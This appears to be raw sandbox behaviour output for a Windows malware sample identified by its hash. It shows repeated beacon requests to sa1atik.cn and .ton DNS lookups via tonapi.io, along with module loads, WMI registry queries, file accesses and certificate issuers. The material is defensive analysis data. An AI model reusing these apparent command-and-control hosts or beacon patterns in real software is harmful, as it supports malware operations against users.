{"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=1pi0EEcFJy0pOrCP5K8DOejjoobrdnxTfg3HTdhp8QlK%2BqkcDRCwJoyUPPb9mSUnqrE0qm8nLGh3xbtRHtpA%2Fv8YpikvK3q0RikU0nmj2xCcyYqMBY3sLQvb1oda"}]} CF-RAY: a41b90a28d102b47-LHR alt-svc: h3=":443"; ma=86400 with no response body "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1 Host: tonapi.io User-Agent: Go-http-client/1.1 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 404 Not Found Date: Sun 27 Sep 2026 15:33:13 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET POST OPTIONS access-control-allow-headers: DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type Authorization X-Tonapi-Client X-Capability F Content-Encoding: gzip cf-cache-status: DYNAMIC vary: accept-encoding CF-RAY: a41b90c369db720c-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B226572726F72223A226E6F74207265736F6C7665643A2063616E277420756E6D61727368616C206E756C6C227D....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 335 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 500 Internal Server Error Server: Angie Date: Sun 27 Sep 2026 15:33:29 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Q5sqm415I1eXOHjgZ%2FUAJzEA4GXgNmaw3hPm78A8b9CrvMUrCjXDE1mzcId%2BB5DMSBbY4xl%2FAst89QqXlb0wnHSXZC7hdC9i1pvDhxfOrgNpgSpjYcmk0RBn5X%2BZflu5BB%2FXppcx0iqk"}]} CF-RAY: a41b91296a235b13-VIE alt-svc: h3=":443"; ma=86400 with no response body "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1 Host: tonapi.io User-Agent: Go-http-client/1.1 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 404 Not Found Date: Sun 27 Sep 2026 15:33:34 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET POST OPTIONS access-control-allow-headers: DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type Authorization X-Tonapi-Client X-Capability F Content-Encoding: gzip cf-cache-status: DYNAMIC vary: accept-encoding CF-RAY: a41b914a3bfa8467-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B226572726F72223A226E6F74207265736F6C7665643A2063616E277420756E6D61727368616C206E756C6C227D....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 335 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 500 Internal Server Error Server: Angie Date: Sun 27 Sep 2026 15:33:50 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=cyYfyPJS%2BsJa3cCiz7w%2Bg1gfd7JCG70DFtDY2m59B29k%2F%2FJmoYXDGTj2DLPQK8g3RW45tZTk%2BeACMlN%2FgBdinw3SNH8ImfiCbXo3NZx1CLBeLDwLyn8L4GbNnVNv"}]} CF-RAY: a41b91b03a29ed06-LHR alt-svc: h3=":443"; ma=86400 with no response body "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1 Host: tonapi.io User-Agent: Go-http-client/1.1 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 404 Not Found Date: Sun 27 Sep 2026 15:33:56 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET POST OPTIONS access-control-allow-headers: DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type Authorization X-Tonapi-Client X-Capability F Content-Encoding: gzip cf-cache-status: DYNAMIC vary: accept-encoding CF-RAY: a41b91d1084614c7-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B226572726F72223A226E6F74207265736F6C7665643A2063616E277420756E6D61727368616C206E756C6C227D....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 335 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 500 Internal Server Error Server: Angie Date: Sun 27 Sep 2026 15:34:13 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=jTTFLcA3KQKa6yjwLUZMQCfPyYgQ4rgggU7%2FztC9BYPLnkDtjG7NLB9Ai82gq8%2Fw8dW%2BRPpCq5v9UFEhYeL1jH1Ss7A%2B1IB5%2B0A5aNDkKtD1gAaco0t0Gdc7m%2F6r"}]} CF-RAY: a41b92370fabf5b8-AMS alt-svc: h3=":443"; ma=86400 with no response body "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1 Host: tonapi.io User-Agent: Go-http-client/1.1 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 404 Not Found Date: Sun 27 Sep 2026 15:34:18 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET POST OPTIONS access-control-allow-headers: DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type Authorization X-Tonapi-Client X-Capability F Content-Encoding: gzip cf-cache-status: DYNAMIC vary: accept-encoding CF-RAY: a41b925def0715d8-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B226572726F72223A226E6F74207265736F6C7665643A2063616E277420756E6D61727368616C206E756C6C227D....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 335 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 500 Internal Server Error Server: Angie Date: Sun 27 Sep 2026 15:34:34 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Um%2F0YRPLygjN20L421ENPRFXm2ZwbmU0yUJaczp2uqyvlk1p%2FO08Jk%2Blw6Gbu56vfN7nK7i3nwpyGw0dHPj%2BOUroDJK4DliD73nurETDyYvIMCVNrxIyRnnLZcUz"}]} CF-RAY: a41b92c3ee9cd7ce-LHR alt-svc: h3=":443"; ma=86400 with no response body36:T1097,"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 74120000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "KERNEL32.DLL" at base 758a0000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 76a00000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "NTDLL.DLL" at base 77920000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "WINMM.DLL" at base 740d0000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "POWRPROF.DLL" at base 75cb0000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "WS2_32.DLL" at base 778b0000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "USER32.DLL" at base 75d00000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "ADVAPI32.DLL" at base 76ad0000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74040000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "IPHLPAPI.DLL" at base 74010000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "RPCRT4.DLL" at base 765c0000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 73f20000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73ed0000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "USERENV.DLL" at base 73e80000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "SECUR32.DLL" at base 73e70000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "SSPICLI.DLL" at base 74340000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "OLE32.DLL" at base 74380000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73df0000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 762a0000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 73db0000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76ad0000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 73d30000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "%WINDIR%\SYSWOW64\OLEAUT32.DLL" at base 76850000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "OLEAUT32.DLL" at base 76850000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 73c80000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 73c70000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 73bb0000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 762a0000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 762a0000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "CRYPT32.DLL" at base 75ae0000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 73dc0000 "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 76a0000037:T818,"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" touched "WBEM Scripting Locator" (Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" touched "PSDispatch" (Path: "HKCU\WOW6432NODE\CLSID\{00020420-0000-0000-C000-000000000046}\TREATAS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" touched "PSTypeInfo" (Path: "HKCU\WOW6432NODE\CLSID\{00020422-0000-0000-C000-000000000046}\TREATAS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" touched "WbemDefaultPathParser" (Path: "HKCU\WOW6432NODE\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" touched "PSEnumVariant" (Path: "HKCU\WOW6432NODE\CLSID\{00020421-0000-0000-C000-000000000046}\TREATAS")38:T93f,The input sample is signed with a certificate issued by "CN=SSL.com SSL Intermediate CA ECC R2, O=SSL Corp, L=Houston, ST=Texas, C=US" (SHA1: F8:86:35:01:72:60:D4:0B:9E:B4:17:BE:E7:37:37:91:1B:63:0E:59; see report for more information) The input sample is signed with a certificate issued by "CN=SSL.com Root Certification Authority ECC, O=SSL Corporation, L=Houston, ST=Texas, C=US" (SHA1: 92:19:61:2E:90:1C:49:04:F9:83:5E:E8:C2:AD:D5:4F:F0:B7:97:FD; see report for more information) The input sample is signed with a certificate issued by "CN=YE1, O=Let's Encrypt, C=US" (SHA1: AB:25:EB:6F:79:0C:98:69:DF:E7:06:17:12:53:55:51:63:BA:20:D7; see report for more information) The input sample is signed with a certificate issued by "CN=Root YE, O=ISRG, C=US" (SHA1: D0:93:70:A9:86:49:82:A5:04:7D:A4:63:73:54:02:56:D0:8A:3C:81; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X2, O=Internet Security Research Group, C=US" (SHA1: F3:76:20:FC:4B:1C:DD:D2:A3:D7:4B:1D:5E:8D:B4:2E:24:4C:A0:06; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 3C:34:E3:56:C7:FC:17:F5:AC:F0:48:24:BC:58:7C:6C:62:39:51:A2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Atlas R3 DV TLS CA 2026 Q2, O=GlobalSign nv-sa, C=BE" (SHA1: 43:73:33:AB:BC:05:B7:FC:F3:56:7F:D7:00:31:93:88:47:3D:DE:5B; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R3" (SHA1: 37:08:77:93:79:80:7F:7C:FD:3C:9C:5E:62:83:55:15:F3:CC:62:0C; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: DD:F1:7F:7F:7F:4B:23:84:79:68:8B:E8:E9:F2:1F:C1:30:9B:C3:37; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)39:Tb8b,"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000344-0000-0000-C000-000000000046}"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000344-0000-0000-C000-000000000046}"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{00000344-0000-0000-C000-000000000046}"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00000344-0000-0000-C000-000000000046}"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\TREATASCLASSINDEX"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{00000344-0000-0000-C000-000000000046}"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\TREATAS"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\TREATAS"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCSERVER32"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCSERVER32"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCHANDLER32"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCHANDLER32"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCHANDLER"; Key: ""; Value: "")3a:Tad3,"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCSERVER32"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}"; Key: "APPID"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WBEM\CIMOM"; Key: "LOGGING DIRECTORY"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WBEM\CIMOM"; Key: "LOGGING"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WBEM\CIMOM"; Key: "LOG FILE MAX SIZE"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WBEM\SCRIPTING"; Key: "DEFAULT IMPERSONATION LEVEL"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "")3b:T4a1,"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to touch file "C:\Windows\System32\WOW64LOG.DLL" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to touch file "C:\WINDOWS\system32\wow64log.dll" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to touch file "C:\WINDOWS\SysWOW64\apphelp.dll" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to touch file "C:\5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb"3c:T73f,"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to access non-existent file "C:\WINDOWS\system32\wow64log.dll" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to access non-existent file "C:\FLTLIB.DLL" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to access non-existent file "C:\MSVCP140.DLL" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to access non-existent file "C:\MSVCP140.dll" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to access non-existent file "C:\VCRUNTIME140.DLL" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to access non-existent file "C:\BCRYPT.DLL" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to access non-existent file "C:\bcrypt.dll" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\rpcss.dll" 